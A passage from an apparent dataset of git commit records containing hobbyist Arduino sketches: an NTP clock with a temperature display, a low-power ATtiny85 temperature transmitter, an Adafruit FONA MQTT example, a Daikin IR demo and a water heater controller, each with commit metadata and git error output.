Serial.print(\"index is: \");\n Serial.println(i);\n i = 0;\n if ( ESPserial.available()) response[i] = ESPserial.read();\n i++;\n if ( ESPserial.available()) response[i] = ESPserial.read();\n i++;\n if ( ESPserial.available()) response[i] = ESPserial.read();\n i++;\n if ( ESPserial.available()) response[i] = ESPserial.read();\n i++;\n response[i++] = '\\0';\n Serial.println(response);\n sscanf(response, \"%d\", &j);\n Serial.println(j);\n i = 0;\n response[0] = '\\0';\n }\n }\n\n if (i == j) {\n response[i++] = '\\0';\n break;\n }\n }\n }\n response[i++] = '\\0';\n Serial.println(response);\n if (response[9] == '2' && response[10] == '0' && response[11] == '0') {\n count++;\n Serial.println(\"Response is 200\");\n Serial.print(\"Count is: \");\n Serial.println(count);\n }\n delay(5000);\n\n\n\n }\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/indentedCodeESPArd.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cc7e5b35fb5c8dbab5f304b7587f96d2e17c6798","subject":"Create Tortoise-Habitat-Controller.ino","message":"Create Tortoise-Habitat-Controller.ino","repos":"Tomo-\/Arduino-Tortoise-Habitat-Controller","old_file":"Tortoise-Habitat-Controller.ino","new_file":"Tortoise-Habitat-Controller.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Tomo-\/Arduino-Tortoise-Habitat-Controller.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c6e5812840e78764ee92e7d30af6894a7608484b","subject":"Create timentemp.ino","message":"Create timentemp.ino\n\nMove to new repo","repos":"pbystrup\/SparkTime,GeoffDay\/SparkTime,bkobkobko\/SparkTime,nosdakota\/SparkTime","old_file":"firmware\/examples\/timentemp.ino","new_file":"firmware\/examples\/timentemp.ino","new_contents":"\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"OneWire.h\"\n\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"Adafruit_GFX.h\"\n\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"Adafruit_LEDBackpack.h\"\n\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"glcdfont.h\"\n\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"SparkTime.h\"\n\n\/\/ LED Clock with NTP time keeping\nUDP UDPClient;\nSparkTime rtc;\nAdafruit_7segment matrix = Adafruit_7segment();\nOneWire one = OneWire(D2);\n\nunsigned long currentTime;\nunsigned long lastTime = 0UL;\n\nuint8_t rom[8];\nuint8_t resp[9];\nint32_t scaledTemp;\n\n\nvoid setup() {\n rtc.begin(&UDPClient, \"north-america.pool.ntp.org\");\n rtc.setTimeZone(-5); \/\/ gmt offset\n matrix.begin(0x70);\n matrix.print(10000,DEC); \/\/ make display show ----\n matrix.writeDisplay();\n getTemp();\n delay(500);\n}\n\n\nvoid loop() {\n currentTime = rtc.now();\n if (currentTime != lastTime) {\n uint8_t sec = rtc.second(currentTime);\n uint8_t modsec = sec%10;\n if (modsec>4 && modsec<=6) {\n showTemp();\n } else {\n showTime(currentTime);\n }\n lastTime = currentTime;\n \n if (sec==25) {\n getTemp(); \/\/fetch new temp reading every minute\n }\n }\n}\n\nvoid showTime(unsigned long currentTime) {\n uint8_t min = rtc.minute(currentTime);\n uint8_t hour = rtc.hour(currentTime);\n uint8_t blink;\n if (hour>12) { hour = hour - 12; }\n if (hour==0) { hour = 12; }\n if (hour>9) {\n matrix.writeDigitNum(0, hour\/10); \n } else {\n matrix.writeDigitRaw(0,0);\n }\n matrix.writeDigitNum(1, hour%10);\n matrix.writeDigitNum(3, min\/10);\n matrix.writeDigitNum(4, min%10);\n blink = (currentTime%2)<<1;\n if (rtc.hour(currentTime)<12) {\n blink |= 0x04;\n }\n matrix.writeDigitRaw(2, blink);\n \n matrix.writeDisplay();\n}\n\nvoid getTemp() {\n \/\/ Get the ROM address\n one.reset();\n one.write(0x33);\n one.read_bytes(rom, 8);\n \/\/ Get the temp\n one.reset();\n one.write(0x55);\n one.write_bytes(rom,8);\n one.write(0x44);\n delay(10);\n one.reset();\n one.write(0x55);\n one.write_bytes(rom, 8);\n one.write(0xBE);\n one.read_bytes(resp, 9);\n \n byte MSB = resp[1];\n byte LSB = resp[0];\n \n int16_t intTemp = ((MSB << 8) | LSB); \/\/using two's compliment 16-bit\n double tempC = ((double)intTemp)\/16.0;\n double tempF = (( tempC*9.0)\/5.0+32.0)*10.0;\n scaledTemp = (int32_t)tempF; \/\/ 724 means 72.4\n\n}\n\nvoid showTemp() {\n \/\/ scaledTemp 746 means 74.6\n if (scaledTemp<0) {\n matrix.writeDigitRaw(0,0x40); \/\/ minus sign\n } else {\n matrix.writeDigitRaw(0,0); \n }\n\n if (scaledTemp<100) {\n matrix.writeDigitRaw(1,0);\n } else {\n matrix.writeDigitNum(1,(scaledTemp\/100)%10); \n }\n matrix.writeDigitRaw(2,0x10); \/\/degree dot\n matrix.writeDigitNum(3,(scaledTemp\/10)%10);\n matrix.writeDigitNum(4,(scaledTemp%10)); \n matrix.writeDisplay();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/timentemp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"77a3f3d7ec48c9240f4e80129c82b14161fd7126","subject":"Create Rx-Node remote sensor","message":"Create Rx-Node remote sensor\n","repos":"totothekiller\/weather-station,totothekiller\/weather-station","old_file":"Tx_Node\/Tx_Node.ino","new_file":"Tx_Node\/Tx_Node.ino","new_contents":"\/\/\n\/\/ Tx Node\n\/\/\n\/\/ Low Power Temperature Sensor\n\/\/\n\n\/\/ Info : \n\/\/ Snootlab : http:\/\/forum.snootlab.com\/viewtopic.php?f=38&t=399\n\/\/ Virtual Wire library : \n\/\/ http:\/\/www.airspayce.com\/mikem\/arduino\/VirtualWire\/VirtualWire_8h.html\n\/\/ http:\/\/www.pjrc.com\/teensy\/td_libs_VirtualWire.html\n\/\/\n\/\/\n\/\/ Low Power Sleep :\n\/\/\n\/\/ http:\/\/www.insidegadgets.com\/2011\/02\/05\/reduce-attiny-power-consumption-by-sleeping-with-the-watchdog-timer\/\n\/\/ http:\/\/www.nongnu.org\/avr-libc\/\n\/\/ https:\/\/kalshagar.wikispaces.com\/Watchdog+as+interrupt\n\/\/ http:\/\/oregonembedded.com\/batterycalc.htm\n\n\n#include <VirtualWire.h>\n#include <OneWire.h>\n#include <avr\/wdt.h>\n#include <avr\/power.h>\n#include <avr\/interrupt.h>\n#include <avr\/sleep.h>\n\n#define ATtiny85 \/\/ ATtiny85 mode\n\n#ifdef ATtiny85\n#define ECO \/\/ Low Power Mode\n\n#define txLed 3 \/\/ TX LED\n#define txPin 1 \/\/ TX Out\n#define sensPin 0 \/\/ Sensor Pin\n#define powerPin 4 \/\/ Power line for Tx module and sensor\n\n#else\n#define DEBUG \/\/ Is serial debug active ?\n\n#define txLed 13 \/\/ TX LED\n#define txPin 12 \/\/ TX Out\n#define sensPin 7 \/\/ Sensor Pin\n#define powerPin 14 \/\/ Power line for Tx module and sensor\n#endif\n\n#define WATCHDOG_TIMER WDTO_8S \/\/ 8 sec\n#define SLEEP_LOOP 2 \/\/ Deep Sleep total time = WATCHDOG_TIMER * SLEEP_LOOP\n\n#define sensID 42 \/\/ Sensor ID\n\n\/\/ Sensor Message Structure\ntypedef struct sensorData_t{\n byte id; \/\/ size 1\n float value; \/\/ size 4\n};\n\ntypedef union sensorData_union_t{\n sensorData_t data;\n uint8_t raw[5]; \/\/ total size of 5 bytes\n};\n\n\/\/ Sensor Message\nsensorData_union_t _message; \n\n\/\/ OneWire protocol\nOneWire _wire(sensPin);\n\n\/\/ WatchDof Counter\nvolatile byte _watchdogCounter;\n\n\/\/ WatchDog interruption\nISR(WDT_vect) {\n _watchdogCounter++;\n}\n\n\nvoid setup()\n{\n \/\/ Debug\n#ifdef DEBUG\n Serial.begin(9600);\n Serial.println(\"--- SETUP ---\");\n#endif\n\n \/\/ Write Sensor ID\n _message.data.id = sensID;\n}\n\nvoid loop()\n{\n \/\/ Power On !\n powerUp();\n\n \/\/ Read Temp\n if (acquireTemp())\n { \n \/\/ Turn LED On\n digitalWrite(txLed, HIGH);\n\n#ifdef DEBUG\n Serial.print(\"Sensor=\"); \n Serial.print(_message.data.id); \n Serial.print(\", Temp=\"); \n Serial.println(_message.data.value);\n#endif\n\n \/\/ Send\n vw_send(_message.raw, 5); \/\/ Send Raw message (size = 5 bytes)\n vw_wait_tx(); \/\/ Wait until the whole message is gone\n }\n\n \/\/ sets the LED off\n digitalWrite(txLed, LOW); \n\n \/\/ Power Off\n powerDown();\n\n \/\/ Go to Sleep Mode Zzzzz\n deepSleep();\n}\n\n\n\/\/ \n\/\/ Power Up Tx Module and sensor\n\/\/ Turn txLed ON\nvoid powerUp()\n{\n \/\/ Power On\n pinMode(powerPin, OUTPUT);\n digitalWrite(powerPin,HIGH);\n\n \/\/ Led Setup\n pinMode(txLed, OUTPUT);\n\n \/\/ TX Setup\n vw_set_tx_pin(txPin);\n vw_setup(2000); \/\/ Transmition speed\n}\n\n\/\/\n\/\/ Shut down power line\nvoid powerDown()\n{\n \/\/ Power Down\n digitalWrite(powerPin,LOW);\n\n \/\/ Set all pin in INPUT mode\n pinMode(powerPin, INPUT);\n pinMode(txLed, INPUT);\n pinMode(txPin, INPUT);\n}\n\n\n\/*\n*\n * Read Temp\n *\n *\/\nboolean acquireTemp()\n{\n byte i;\n byte data[12];\n byte addr[8];\n\n \/\/ Reset Search\n _wire.reset_search();\n\n \/\/ Get first sensor\n if ( !_wire.search(addr)) {\n#ifdef DEBUG\n Serial.println(\"No more addresses.\");\n#endif\n\n return false;\n }\n\n if (OneWire::crc8(addr, 7) != addr[7]) {\n#ifdef DEBUG\n Serial.println(\"CRC is not valid!\");\n#endif\n\n return false;\n }\n\n \/\/ Check if chip is DS18B20\n if(addr[0]!=0x28)\n {\n#ifdef DEBUG\n Serial.println(\"Chip is not DS18B20\");\n#endif\n\n return false;\n }\n\n _wire.reset();\n _wire.select(addr);\n _wire.write(0x44,1);\/\/ start conversion\n\n delay(1000); \/\/ maybe 750ms is enough, maybe not\n\n _wire.reset();\n _wire.select(addr); \n _wire.write(0xBE);\/\/ Read Scratchpad\n\n for ( i = 0; i < 9; i++) {\/\/ we need 9 bytes\n data[i] = _wire.read();\n }\n\n \/\/ Convert the data to actual temperature\n float raw = (data[1] << 8) | data[0];\n\n \/\/ Save temperature\n _message.data.value = raw \/ 16.0;\n\n return true;\n}\n\n\/\/\n\/\/ Put ATtiny85 in deep sleep mode \n\/\/\n\/\/ Power is reduce to :\n\/\/ - ~7\u00b5A BOD disabled\n\/\/ - ~30\u00b5A BOD enabled\n\/\/\nvoid deepSleep()\n{\n#ifndef ECO\n delay(8000*SLEEP_LOOP);\n#else\n \n \/\/\n \/\/ Prepare for shutdown\n \n bitClear(ADCSRA,ADEN); \/\/Disable ADC\n \/\/bitSet(PRR,PRADC); not working...\n \/\/power_adc_disable(); not working...\n\n ACSR = (1<<ACD); \/\/Disable the analog comparator\n DIDR0 = 0x3F; \/\/Disable digital input buffers on all ADC0-ADC5 pins\n\n PRR = 0x0F; \/\/Reduce all power right before sleep\n \n \n \/\/\n \/\/ Start Watchdog\n setup_watchdog(WATCHDOG_TIMER);\n \n \/\/\n \/\/ Prepare for Sleep\n \n while(_watchdogCounter<SLEEP_LOOP){\n \n set_sleep_mode(SLEEP_MODE_PWR_DOWN); \/\/ sleep mode\n \n noInterrupts();\n sleep_enable();\n \/\/ Disable BOD : my ATtiny85 doesn't have this fonctionality ...\n interrupts();\n \n \n sleep_cpu(); \/\/ System sleeps here\n sleep_disable(); \/\/ System continues execution here when watchdog timed out \n \n } \n \n \/\/\n \/\/ Stop WatchDog\n setup_watchdog(-1);\n \n \/\/ Restore Power\n PRR = 0x00; \/\/Restaure power reduction\n\n#endif\n}\n\n\n#ifdef ECO\n\n\/\/\n\/\/ Watchdog setup\n\/\/ From https:\/\/github.com\/jcw\/jeelib\/blob\/master\/Ports.cpp\n\/\/ \nvoid setup_watchdog(char mode) {\n\n \/\/ correct for the fact that WDP3 is *not* in bit position 3!\n if (mode & bit(3))\n { \n mode ^= bit(3) | bit(WDP3);\n }\n \/\/ pre-calculate the WDTCSR value, can't do it inside the timed sequence\n \/\/ we only generate interrupts, no reset\n byte wdtcsr = mode >= 0 ? bit(WDIE) | mode : 0;\n \n MCUSR &= ~(1<<WDRF);\n\n noInterrupts();\n\n WDTCR |= (1<<WDCE) | (1<<WDE); \/\/ timed sequence\n WDTCR = wdtcsr;\n \n \/\/ Reset counter\n _watchdogCounter=0;\n \n interrupts();\n}\n\n#endif\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Tx_Node\/Tx_Node.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e47eafce337e2e92dd6b400418e4aaa338aaaea0","subject":"adds fona analog out example","message":"adds fona analog out example\n","repos":"adafruit\/adafruit-io-basics,adafruit\/adafruit-io-basics","old_file":"arduino-fona\/analog-out\/analog-out.ino","new_file":"arduino-fona\/analog-out\/analog-out.ino","new_contents":"\/***************************************************\n Adafruit MQTT Library FONA Example\n Designed specifically to work with the Adafruit FONA\n ----> http:\/\/www.adafruit.com\/products\/1946\n ----> http:\/\/www.adafruit.com\/products\/1963\n ----> http:\/\/www.adafruit.com\/products\/2468\n ----> http:\/\/www.adafruit.com\/products\/2542\n\n These cellular modules use TTL Serial to communicate, 2 pins are\n required to interface.\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries.\n Adafruit IO example additions by Todd Treece.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n#include <Adafruit_SleepyDog.h>\n#include <SoftwareSerial.h>\n#include \"Adafruit_FONA.h\"\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_FONA.h\"\n\n\/****************************** Pins ****************************************\/\n#define PHOTOCELL 9 \/\/ PWM pin\n#define FONA_RX 2\n#define FONA_TX 3\n#define FONA_RST 4\nSoftwareSerial fonaSS = SoftwareSerial(FONA_TX, FONA_RX);\n\nAdafruit_FONA fona = Adafruit_FONA(FONA_RST);\n\n\/************************* WiFi Access Point *********************************\/\n\n \/\/ Optionally configure a GPRS APN, username, and password.\n \/\/ You might need to do this to access your network's GPRS\/data\n \/\/ network. Contact your provider for the exact APN, username,\n \/\/ and password values. Username and password are optional and\n \/\/ can be removed, but APN is required.\n#define FONA_APN \"\"\n#define FONA_USERNAME \"\"\n#define FONA_PASSWORD \"\"\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER \"io.adafruit.com\"\n#define AIO_SERVERPORT 1883\n#define AIO_USERNAME \"...your AIO username (see https:\/\/accounts.adafruit.com)...\"\n#define AIO_KEY \"...your AIO key...\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ Store the MQTT server, client ID, username, and password in flash memory.\n\/\/ This is required for using the Adafruit MQTT library.\nconst char MQTT_SERVER[] PROGMEM = AIO_SERVER;\n\/\/ Set a unique MQTT client ID using the AIO key + the date and time the sketch\n\/\/ was compiled (so this should be unique across multiple devices for a user,\n\/\/ alternatively you can manually set this to a GUID or other random value).\nconst char MQTT_CLIENTID[] PROGMEM = AIO_KEY __DATE__ __TIME__;\nconst char MQTT_USERNAME[] PROGMEM = AIO_USERNAME;\nconst char MQTT_PASSWORD[] PROGMEM = AIO_KEY;\n\n\/\/ Setup the FONA MQTT class by passing in the FONA class and MQTT server and login details.\nAdafruit_MQTT_FONA mqtt(&fona, MQTT_SERVER, AIO_SERVERPORT, MQTT_CLIENTID, MQTT_USERNAME, MQTT_PASSWORD);\n\n\/\/ You don't need to change anything below this line!\n#define halt(s) { Serial.println(F( s )); while(1); }\n\n\/\/ FONAconnect is a helper function that sets up the FONA and connects to\n\/\/ the GPRS network. See the fonahelper.cpp tab above for the source!\nboolean FONAconnect(const __FlashStringHelper *apn, const __FlashStringHelper *username, const __FlashStringHelper *password);\n\n\/****************************** Feeds ***************************************\/\n\n\/\/ Setup a feed called 'photocell' for subscribing to changes.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nconst char PHOTOCELL_FEED[] PROGMEM = AIO_USERNAME \"\/feeds\/photocell\";\nAdafruit_MQTT_Subscribe photocell = Adafruit_MQTT_Subscribe(&mqtt, PHOTOCELL_FEED);\n\n\/*************************** Sketch Code ************************************\/\n\nvoid setup() {\n\n Serial.begin(115200);\n\n Serial.println(F(\"Adafruit IO Example:\"));\n Serial.print(F(\"Free RAM: \")); Serial.println(getFreeRam(), DEC);\n\n \/\/ Initialise the FONA module\n while (! FONAconnect(F(FONA_APN), F(FONA_USERNAME), F(FONA_PASSWORD)))\n halt(\"Retrying FONA\");\n\n Serial.println(F(\"Connected to Cellular!\"));\n\n Watchdog.reset();\n delay(3000); \/\/ wait a few seconds to stabilize connection\n Watchdog.reset();\n\n \/\/ listen for events on the photocell feed\n mqtt.subscribe(&photocell);\n\n \/\/ connect to adafruit io\n connect();\n\n}\n\nvoid loop() {\n\n Adafruit_MQTT_Subscribe *subscription;\n\n \/\/ Make sure to reset watchdog every loop iteration!\n Watchdog.reset();\n\n \/\/ ping adafruit io a few times to make sure we remain connected\n if(! mqtt.ping(3)) {\n \/\/ reconnect to adafruit io\n if(! mqtt.connected())\n connect();\n }\n\n \/\/ this is our 'wait for incoming subscription packets' busy subloop\n while (subscription = mqtt.readSubscription(1000)) {\n\n \/\/ we only care about the photocell events\n if (subscription == &photocell) {\n\n \/\/ convert mqtt ascii payload to int\n char *value = photocell.lastread;\n Serial.print(F(\"Received: \"));\n Serial.println(value);\n int reading = atoi(value);\n\n \/\/ LED gets brighter the darker it is at the sensor\n \/\/ that means we have to -invert- the reading from 0-1023 back to 1023-0\n reading = 1023 - reading;\n\n \/\/now we have to map 0-1023 to 0-255 since thats the range analogWrite uses\n int brightness = map(reading, 0, 1023, 0, 255);\n analogWrite(LED, brightness);\n\n }\n\n }\n\n}\n\n\/\/ connect to adafruit io via MQTT\nvoid connect() {\n\n Serial.print(F(\"Connecting to Adafruit IO... \"));\n\n int8_t ret, retries = 5;\n\n while ((ret = mqtt.connect()) != 0) {\n\n switch (ret) {\n case 1: Serial.println(F(\"Wrong protocol\")); break;\n case 2: Serial.println(F(\"ID rejected\")); break;\n case 3: Serial.println(F(\"Server unavail\")); break;\n case 4: Serial.println(F(\"Bad user\/pass\")); break;\n case 5: Serial.println(F(\"Not authed\")); break;\n case 6: Serial.println(F(\"Failed to subscribe\")); break;\n default: Serial.println(F(\"Connection failed\")); break;\n }\n\n if(ret >= 0)\n mqtt.disconnect();\n\n retries--;\n\n if (retries == 0)\n halt(\"Resetting system\");\n\n Serial.println(F(\"Retrying connection...\"));\n delay(5000);\n\n }\n\n Serial.println(F(\"Adafruit IO Connected!\"));\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-fona\/analog-out\/analog-out.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3cde8acbc8cbc6e02298ef78d4a681203b25cdb9","subject":"add sample code DaikinDemo.ino","message":"add sample code DaikinDemo.ino\n","repos":"marcass\/Heatpump_IRremote_nodemcu,marcass\/Heatpump_IRremote_nodemcu","old_file":"examples\/DaikinDemo\/DaikinDemo.ino","new_file":"examples\/DaikinDemo\/DaikinDemo.ino","new_contents":"\n\/*\n * \n * \n * Version 0.0.1 Aug, 2014\n * Copyright 2014 danny\n * https:\/\/github.com\/danny-source\/Arduino_IRremote_Daikin\n *\/\n\n#include <IRdaikin.h>\n\n\nIRdaikin irdaikin;\nint isOn;\n\nvoid setup()\n{\n Serial.begin(9600);\n irdaikin.daikin_on();\n irdaikin.daikin_setSwing_off();\n irdaikin.daikin_setMode(1);\n irdaikin.daikin_setFan(4);\/\/FAN speed to MAX\n irdaikin.daikin_setTemp(25);\n \/\/----everything is ok and to execute send command-----\n irdaikin.daikin_sendCommand();\n isOn = 0;\n}\n\nvoid loop() {\n while (Serial.available() > 0) {\n\n if (Serial.read() == '\\n') {\n if (isOn == 0){\n isOn = 1;\n irdaikin.daikin_off();\n Serial.println(\"Turn Off\");\n }else{\n isOn = 0;\n irdaikin.daikin_on();\n Serial.println(\"Turn On\");\n }\n irdaikin.daikin_sendCommand();\n Serial.println(\"Execute Command!\");\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/DaikinDemo\/DaikinDemo.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"5c58026e6d0fa4b87a733e8a5131d75f1274bb45","subject":"added water heater code","message":"added water heater code\n","repos":"dotsonlab\/awsc,dotsonlab\/awsc","old_file":"ProtoTestPython\/water-heater-manage.ino","new_file":"ProtoTestPython\/water-heater-manage.ino","new_contents":"\/\/Senior Design\n\/\/Greg Schmidt, Lance Leber, Brittany Boring?\n\/\/02\/03\/2016\n\n\/*\n * DESCRIPTION:\n * This program is to control the power distribution to 4 water heaters. There is a priority given to the\n * water heaters depending on the definition of flowMeterPins and relayControlPins below. This priority \n * comes into effect when multiple WHs are supplying water. When no water is flowing it just cycles through\n * for up to MAXRUNTIME milliseconds on each WH. Each water heater has a thermostat which independently\n * controls the temperature of the heater. To determine if the thermostat has the WH off we are using a\n * current coil around the main power supply to the system. \n * Hall-effect flow meters are using to indicate when water is flowing.\n * The arduino uno rev3 supports up to 6 water heaters without addition hardware. This code will support\n * up to 8. This code can be used with a different arduino board. \n * \n * OUTPUT: \n * DIGITAL PIN 3, 4, 5, 6. Control the relays. \n *\n * INPUT: \n * DIGITAL PIN 8, 9, 10, 11. Input from flow meter. \n * ANALOG PIN A4 Is the pin used for the main power current coil signal.\n *\n * SETTINGS:\n * WHCOUNT = the number of waters heaters in the system\n * MIN_FLOW_RATE = Threshold for flow meters in pulses per second. Lower == more sensitive to flow\n * CURRENTTHRESH = Threshold for main current meter. Measured in volts. 1 ~= 4.9mV\n * MINSWITCHTIME = Minimum time between switching water heaters in milliseconds\n * MAXRUNTIME = Maximum amount of time for a water heater to run before switching, when no water is flowing.\n * VARIABLES:\n * flowMeterPins[] = The pins the flow meter signal is connected. Leftmost is highest priority.\n * currentXfmrPin = Analog pin the current coils signal is connected.\n * relayControlPins = The digital output pins for controlling the relays. Leftmost is highest priority\n * waterRunIndication = bit addressed varaible to indicate which WH has flowing water. (supports up to 8 WHs)\n * waterHeatRun = bit addressed variable to inidcate which WH relay is ON. (supports up to 8 WHs)\n * intCount = integer used to determine flow rate of Flow meters.\n * lastSwitch = used to indicate the time it last switch a water heater in milliseconds.\n * lastWaterRun = used to inidcate when the water in a WH stopped flowing. This allows the heater to run for up to\n * the MAXRUNTIME after the water stops flowing, in milliseconds.\n * WaterRun = bool used to determine if water flow was recently started\/stopped.\n * \n * FUNCTIONS:\n * void setup() = sets the relayControlPins as an output pin and the flowMeterPins as input pins.\n * void interruptCount() = helper function to determine flow rate. Increments a global variable intCount\n * void ReadFlowMeters() = Loops through all flowMeterPins. On each interation it sets a interrupt on the respective pin.\n * Each time that pin sees a rising edge it will call interruptCount(). After .5 seconds the interrupt\n * is removed. If the count is greater than MIN_FLOW_RATE the corresponding BIT is set in waterRunIndication.\n * This function requires the PinChangeInt.h library.\n * bool currentFlow() = returns true if voltage level on the currentXfmrPin(value * 4.9mV) if it exceeds CURRENTTHRESH.\n * returns false otherwise.\n * int currentHeaterOn() = helper function that returns the index of the water heater that is currently recieving power. \n * void switchHeater(int toHeater) = function that controls switching from one water heater to another. If toHeater is\n * -1 the function will loop to the next water heater in the rotation. Otherwise will\n * switch to the indicated heater. \n * void loop() = function that contains the main logic to control the water heaters. This function is called in a loop\n * by the arduino.\n *\n *\/\n\n#include <PinChangeInt.h>\n#define WHCOUNT 4\n#define MIN_FLOW_RATE 100 \/\/ In Hertz;\n#define CURRENTTHRESH 660 \/\/ About 3.5 volts\n#define MINSWITCHTIME 5 * 1000 \/\/ 5 Seconds\n#define MAXRUNTIME (15*60*1000) \n\n#define bitRead(value, bit) (((value) >> (bit)) & 0x01)\n#define bitSet(value, bit) ((value) |= (1UL << (bit)))\n#define bitClear(value, bit) ((value) &= ~(1UL << (bit)))\n \n\n\n\/\/Priority goes from index 0 to 3. \nint flowMeterPins[WHCOUNT] = { 7, 8, 9, 10 }; \/\/ Signal from the hall-effect flow meters\nint currentXfmrPin = A4; \/\/ Signal from the current transformer\nint relayControlPins[WHCOUNT] = { 3, 4, 5, 6 }; \/\/ Pins to control relays\n\n\/\/Priority goes from Least significant bit to most. \nbyte waterRunIndication = 0; \/\/ Bit addressed, idicates if water was run. \nbyte waterHeatRun = 0; \/\/ Bit addressed, indicates which control pin is high.\n\nint intCount; \/\/ Varible used in interrupt to calculate Flow rate.\n\n \n\nunsigned long lastSwitch;\nunsigned long lastWaterRun;\n\nbool WaterRun;\n\n\nvoid setup() {\n \/\/ Set the input and output of each device. \\\n Serial.begin(9600);\n for(int cnt = 0; cnt < WHCOUNT; cnt++){\n\t pinMode( relayControlPins[cnt], OUTPUT); \/\/ Defines all relay control pins to be outputs.\n\t pinMode( flowMeterPins[cnt], INPUT);\n }\n\n WaterRun = false;\n lastSwitch = 0;\n lastWaterRun = 0;\n switchWaterHeater(-1);\n Serial.println(\"Setup complete, beginning\");\n \n}\n\/\/ Interrupt Service Routing (ISR)\nvoid interruptCount(){\n\tintCount++;\n}\n\n\n\nvoid ReadFlowMeters(){\n int val; \/\/ digital IO pin storage bin\n\twaterRunIndication = 0; \/\/ Set all water run indication to 0.\n\/\/ for(int cnt = 0; cnt < WHCOUNT; cnt++)\n\/\/ {\n\/\/\t intCount = 0;\n\/\/\t PCintPort::attachInterrupt(flowMeterPins[cnt], interruptCount, RISING);\n\/\/\t delay(500);\n\/\/\t PCintPort::detachInterrupt(flowMeterPins[cnt]);\n\n \/*Serial.print(\"WH \");\n Serial.print(cnt);\n Serial.print(\"is flowing \");\n\t double flowRate = (intCount * 2) * (.007229); \/\/ gals\/min (X P\/sec) * (1\/8300 Gal\/P) * 60 sec\/ min = gal\/min\n Serial.println(flowRate);*\/\n\/\/\t if((intCount * 2) > MIN_FLOW_RATE)\n\/\/\t {\n\/\/ Serial.print(\"WH \");\n\/\/ Serial.print(cnt);\n\/\/ Serial.print(\"is flowing \");\n\/\/ Serial.println(intCount*2);\n\/\/\t\t bitSet(waterRunIndication, cnt); \/\/ Set bit cnt to be a 1 to indicate water is flowing. \n\t\t \/\/We can break this for loop because the highest priority water heater will have the least significant bit\n\/\/\t\t break;\n\/\/\t }\n\n\/\/ }\n for (int cnt = 0 ; cnt < WHCOUNT ; cnt++){\n \n val = digitalRead(flowMeterPins[cnt]);\n if (val == 0)\n {\n Serial.print(\"WH \");\n Serial.print(cnt);\n Serial.print(\" is flowing \");\n Serial.println(\" \");\n bitSet(waterRunIndication, cnt); \/\/ Set bit cnt to be a 1 to indicate water is flowing. \n break; \n \/\/We can break this for loop because the highest priority water heater will have the least significant bit\n }\n }\n}\n\n\n\/\/Returns true if current is flowing above CURRENTTHRESH\n\/\/Reads the value ever 1 ms for 32 seconds, or 2 cycles;\nbool currentFlow(){\n\tint maxc = 0;\n\tint temp =0;\n\tfor(int i = 0; i < 32; i++){\n\t\ttemp = analogRead(currentXfmrPin);\n\t\tif(temp > maxc){\n\t\t\tmaxc = temp;\n}\n\t\tdelay(1);\n\t}\n\tif(maxc > CURRENTTHRESH)\n\t\treturn true;\n Serial.println(\"Water heater is not on\");\n\treturn false;\n}\n\nvoid loop() {\n \n\tif((unsigned long)(millis() - lastSwitch) >= MINSWITCHTIME)\n\t{\n\t\tReadFlowMeters(); \/\/Update which water heaters are running, if any.\n\t\tif(waterRunIndication == 0){\n\t\t\tif(WaterRun == true){\t\t\t\t\t\t\t\t\t\t\/\/If water was running last cycle and is no longer.\n\t\t\t\tlastWaterRun = millis();\t\t\t\t\t\t\t\t\/\/Set the time in which the water was last running\n\t\t\t\tWaterRun = false;\n\t\t\t}\n\n\t\t\tif((unsigned long)(millis() - lastWaterRun) >= MAXRUNTIME){ \/\/If running longer than our max run time, switch.\n\t\t\t\tswitchWaterHeater(-1);\t\t\t\t\t\t\t\t\t\/\/Changes the water heater that is running.\n\t\t\t}\n\t\t\telse if(currentFlow() == false){\t\t\t\t\t\t\t\t\/\/If no current is flow (heater is off), switch.\n\t\t\t\tswitchWaterHeater(-1);\t\t\t\t\t\t\t\t\t\/\/Changes the water heater that is running.\n\t\t\t}\n\t\t}\n\t\telse{\n\t\t\tif(WaterRun == false)\t\t\t\t\t\t\t\t\t\t\/\/Make sure WaterRun is indicated as true.\n\t\t\t\tWaterRun = true;\t\t\t\t\t\t\t\t\t\t\n\n\t\t\tif(waterRunIndication != waterHeatRun){\n\t\t\t\tfor(int cnt = 0; cnt < WHCOUNT; cnt++){\n\t\t\t\t\tif(bitRead(waterRunIndication, cnt) == 1){\t\t\t\/\/Turn on the first water heater that indicated flow.\n\t\t\t\t\t\tswitchWaterHeater(cnt);\n\t\t\t\t\t\tbreak;\t\t\t\t\t\t\t\t\t\t\t\/\/break the loop so only the highest priority heater is on.\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n lastSwitch = millis();\n\t}\n\tdelay(500);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/delay or sleep some amount of milliseconds\n}\n\n\/\/return the index of the water heater that is currently on. \nint 